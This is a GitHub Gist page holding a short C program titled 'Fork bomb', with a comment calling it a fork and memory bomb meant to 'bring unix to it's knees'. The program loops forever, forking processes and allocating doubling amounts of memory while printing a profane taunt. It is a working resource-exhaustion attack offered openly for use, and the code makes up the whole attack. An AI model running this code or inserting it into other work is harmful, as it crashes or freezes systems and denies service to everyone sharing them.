Created
January 31, 2017 01:26
-
-
Save arthurmco/43fc13fb23be6c131d6565d510118247 to your computer and use it in GitHub Desktop.
Fork bomb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <unistd.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
int main() { | |
size_t u = 1; | |
while (1) { | |
fork(); | |
u *= 2; | |
printf("You are fucked (%u)\n", u); | |
malloc(u); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
multi fork/memory bomb
guarantee to bring unix to it's knees
as told by unix haters handbook